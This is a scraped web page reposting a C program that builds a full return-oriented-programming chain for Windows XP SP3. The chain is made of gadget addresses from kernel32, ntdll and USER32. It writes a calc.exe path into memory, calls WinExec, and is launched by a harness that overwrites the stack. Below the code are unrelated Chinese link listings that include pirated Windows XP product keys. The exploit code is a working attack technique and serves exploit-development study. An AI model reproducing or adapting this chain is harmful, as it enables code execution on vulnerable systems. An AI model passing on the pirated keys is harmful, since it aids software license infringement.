Windows XP PRO SP3 - Full ROP calc shellcode
/* Shellcode: Windows XP PRO SP3 - Full ROP calc shellcode Author: b33f (http://www.fuzzysecurity.com/) Notes: This is probably not the most efficient way but I gave the dll's a run for their money ;)) Greets: Donato, Jahmel OS-DLL's used: Base | Top | Size | Version (Important!) ___________|____________|____________|_____________________________ 0x7c800000 | 0x7c8f6000 | 0x000f6000 | 5.1.2600.5781 [kernel32.dll] 0x7c900000 | 0x7c9b2000 | 0x000b2000 | 5.1.2600.6055 [ntdll.dll] 0x7e410000 | 0x7e4a1000 | 0x00091000 | 5.1.2600.5512 [USER32.dll] UINT WINAPI WinExec( => PTR to WinExec __in LPCSTR lpCmdLine, => C:\WINDOWS\system32\calc.exe+00000000 __in UINT uCmdShow => 0x1 );*/#include <iostream>#include "windows.h"char shellcode[]="\xb1\x4f\x97\x7c" // POP ECX # RETN"\xf9\x10\x47\x7e" // Writable PTR USER32.dll"\x27\xfa\x87\x7c" // POP EDX # POP EAX # RETN"\x43\x3a\x5c\x57" // ASCII "C:\W""\x49\x4e\x44\x4f" // ASCII "INDO""\x04\x18\x80\x7c" // MOV DWORD PTR DS:[ECX],EDX # MOV DWORD PTR DS:[ECX+4],EAX # POP EBP # RETN 04"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xe5\x02\x88\x7c" // POP EAX # RETN"\x57\x53\x5c\x73" // ASCII "WS\s""\x38\xd6\x46\x7e" // MOV DWORD PTR DS:[ECX+8],EAX # POP ESI # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xe5\x02\x88\x7c" // POP EAX # RETN"\x79\x73\x74\x65" // ASCII "yste""\xcb\xbe\x45\x7e" // MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # INC EAX # POP ESI # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xe5\x02\x88\x7c" // POP EAX # RETN"\x63\x61\x6c\x63" // ASCII "calc""\x31\xa9\x91\x7c" // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\xe5\x02\x88\x7c" // POP EAX # RETN"\x6d\x33\x32\x5c" // ASCII "m32\""\xcb\xbe\x45\x7e" // MOV DWORD PTR DS:[ECX+C],EAX # XOR EAX,EAX # INC EAX # POP ESI # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xe5\x02\x88\x7c" // POP EAX # RETN"\x2e\x65\x78\x65" // ASCII ".exe""\x31\xa9\x91\x7c" // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\x9e\x2e\x92\x7c" // XOR EAX,EAX # RETN"\x31\xa9\x91\x7c" // MOV DWORD PTR DS:[ECX+14],EAX # MOV EAX,EDX # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN"\xee\x4c\x97\x7c" // DEC ECX # RETN//-------------------------------------------["C:\WINDOWS\system32\calc.exe+00000000" -> ecx]-//"\xe5\x02\x88\x7c" // POP EAX # RETN"\x7a\xeb\xc3\x6f" // Should result in a valid PTR in kernel32.dll"\x4f\xda\x85\x7c" // PUSH ESP # ADC BYTE PTR DS:[EAX+CC4837C],AL # XOR EAX,EAX # INC EAX # POP EDI # POP EBP # RETN 08"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x32\xd9\x44\x7e" // XCHG EAX,EDI # RETN"\x62\x28\x97\x7c" // ADD EAX,20 # POP EBP # RETN"\x8a\x20\x87\x7c" // Compensate POP"\x62\x28\x97\x7c" // ADD EAX,20 # POP EBP # RETN"\x8a\x20\x87\x7c" // Compensate POP"\x62\x28\x97\x7c" // ADD EAX,20 # POP EBP # RETN"\x8a\x20\x87\x7c" // Compensate POP"\x62\x28\x97\x7c" // ADD EAX,20 # POP EBP # RETN"\x8a\x20\x87\x7c" // Compensate POP//-----------------------------------------------------------[Save Stack Pointer + pivot eax]-//"\xd6\xd1\x95\x7c" // MOV DWORD PTR DS:[EAX+10],ECX # POP EBP # RETN 04"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x33\x80\x97\x7c" // INC EAX # RETN"\x33\x80\x97\x7c" // INC EAX # RETN"\x33\x80\x97\x7c" // INC EAX # RETN"\x33\x80\x97\x7c" // INC EAX # RETN"\xf5\xd6\x91\x7c" // XOR ECX,ECX # RETN"\x07\x3d\x96\x7c" // INC ECX # RETN"\xd6\xd1\x95\x7c" // MOV DWORD PTR DS:[EAX+10],ECX # POP EBP # RETN 04"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\xb1\x4f\x97\x7c" // POP ECX # RETN"\xed\x2a\x86\x7c" // WinExec()"\xe7\xc1\x87\x7c" // MOV DWORD PTR DS:[EAX+4],ECX # XOR EAX,EAX # POP EBP # RETN 04"\x8a\x20\x87\x7c" // Compensate POP"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Compensate RETN"\x8a\x20\x87\x7c" // Final RETN for WinExec()"\x8a\x20\x87\x7c"; // Compensate WinExec()//------------------------------------------------------[Write Arguments and execute -> calc]-//void buff() { char a; memcpy((&a)+5, shellcode, sizeof(shellcode)); // Compiler dependent, works with Dev-C++ 4.9}int main(){ LoadLibrary("USER32.dll"); // we need this dll char buf[1024]; buff(); return 0;}Windows XP PRO SP3 - Full ROP calc shellcode的更多相关文章
- 原版Windows XP Pro With SP3 VOL MSDN简体中文专业版
2008年5月2日,微软推出Windows XP Pro With SP3 VOL MSDN x86 32位简体中文专业版,这是最经典也是我最喜爱的操作系统之一.在MSDN(微软开发者网络)的网站上查 ...
- Windows XP with SP3大客户免激活日文版
原贴地址:http://www.humin.com.cn/ja_windows_xp_professional_with_service_pack_3_x86_dvd_vl_x14-74058-iso ...
- Microsoft Windows XP SP3 官方原版镜像下载,绝对原版加系列号!
转:http://blog.sina.com.cn/s/blog_638c2e010100op5z.html 写在前面:1. VOL是Volume Licensing for Organization ...
- 最新的windows xp sp3序列号 xp序列号
最新的windows xp sp3序列号(绝对可通过正版验证) MRX3F-47B9T-2487J-KWKMF-RPWBY(工行版) 可用(强推此号) QC986-27D34-6M3TY-JJXP9- ...
- 最新的windows xp sp3序列号(绝对可通过正版验证)
MRX3F-47B9T-2487J-KWKMF-RPWBY(工行版) 可用(强推此号) QC986-27D34-6M3TY-JJXP9-TBGMD(台湾交大学生版) 可用 CM3HY-26VYW-6J ...
- 在虚拟机安装windows xp时所需要的序列号
最新的windows xp sp3序列号 xp序列号 最新的windows xp sp3序列号(绝对可通过正版验证) MRX3F-47B9T-2487J-KWKMF-RPWBY(工行版) 可用(强推 ...
- Windows XP系列全下载(均为MSDN原版)
正版windows xp sp3 下载大全(附:正版密钥) 微软MSDN Windows XP Professional下载 Windows XP Professional 简体中文 (最原始版本,无 ...
- Windows XP与Windows 7系统常见漏洞
1.Windows XP系统常见漏洞 Windows XP系统常见的漏洞有UPNP服务漏洞.升级程序漏洞.帮助和支持中心漏洞.压缩文件夹漏洞.服务拒绝漏洞.Windows Media Player漏洞 ...
- Windows XP Professional产品序列号
BX6HT-MDJKW-H2J4X-BX67W-TVVFG产品密钥:FCKGW-RHQQ2-YXRKT-8TG6W-2B7Q8产品密钥:CCC64-69Q48-Y3KWW-8V9GV-TVKRM Wi ...
随机推荐
- fragment入门
[1]在activity布局中定义fragment <?xml version="1.0" encoding="utf-8"?> <Linea ...
- 5.7 C和C++的关系
- android平台的技术架构
Android平台采用了软件堆层(Software Stack)的架构,主要分为四个部分: 1.应用软件 Android 连同一个核心应用程序包一起发布,该应用程序包包括E-mail客户端.SMS短消 ...
- POJ 3468 线段树裸题
这些天一直在看线段树,因为临近期末,所以看得断断续续,弄得有些知识点没能理解得很透切,但我也知道不能钻牛角尖,所以配合着刷题来加深理解. 然后,这是线段树裸题,而且是最简单的区间增加与查询,我参考了A ...
- Echarts柱形图颜色设置
ECharts图为每个数据项配置颜色 (2014-11-12 15:52:53) 转载▼ 标签: 时尚 分类: 开发学习 其实给每个数据项配置很简单 只需要在series里面给data数组的每个元素设 ...
- Linux命令(1) - 查看内存使用情况: free -hm
使用"free -hm"命令查看linux服务器的内存使用状况,其中-h表示人性化显示,-m表示将内存显示为M:
- libsvm 之 easy.py(流程化脚本)注释
鉴于该脚本的重要性,很有必要对该脚本做一个全面的注释,以便可以灵活的使用libsvm. #!/usr/bin/env python # 这种设置python路径的方法更为科学 import sys i ...
- 抛弃优启Grub4dos和PE大多数时间可以这样用
在能够进入Windows的情况下,Grub4dos和PE大多数时间可以这样用 http://files.cnblogs.com/files/liuzhaoyzz/boot_moban.rar Grub ...
- worker中加载本地文件报错的解决方案
如果在一个swf的主线程中加载文件时,报安全沙箱的错误, 网上有诸多的解决方案.但是如果在一个worker中加载本地文件报类似如下的错误: *** 安全沙箱冲突 *** SecurityError: ...
- @ResponseStatus
返回一个指定的http response状态码. @ResponseStatus(value = HttpStatus.NOT_FOUND, reason = "IOException oc ...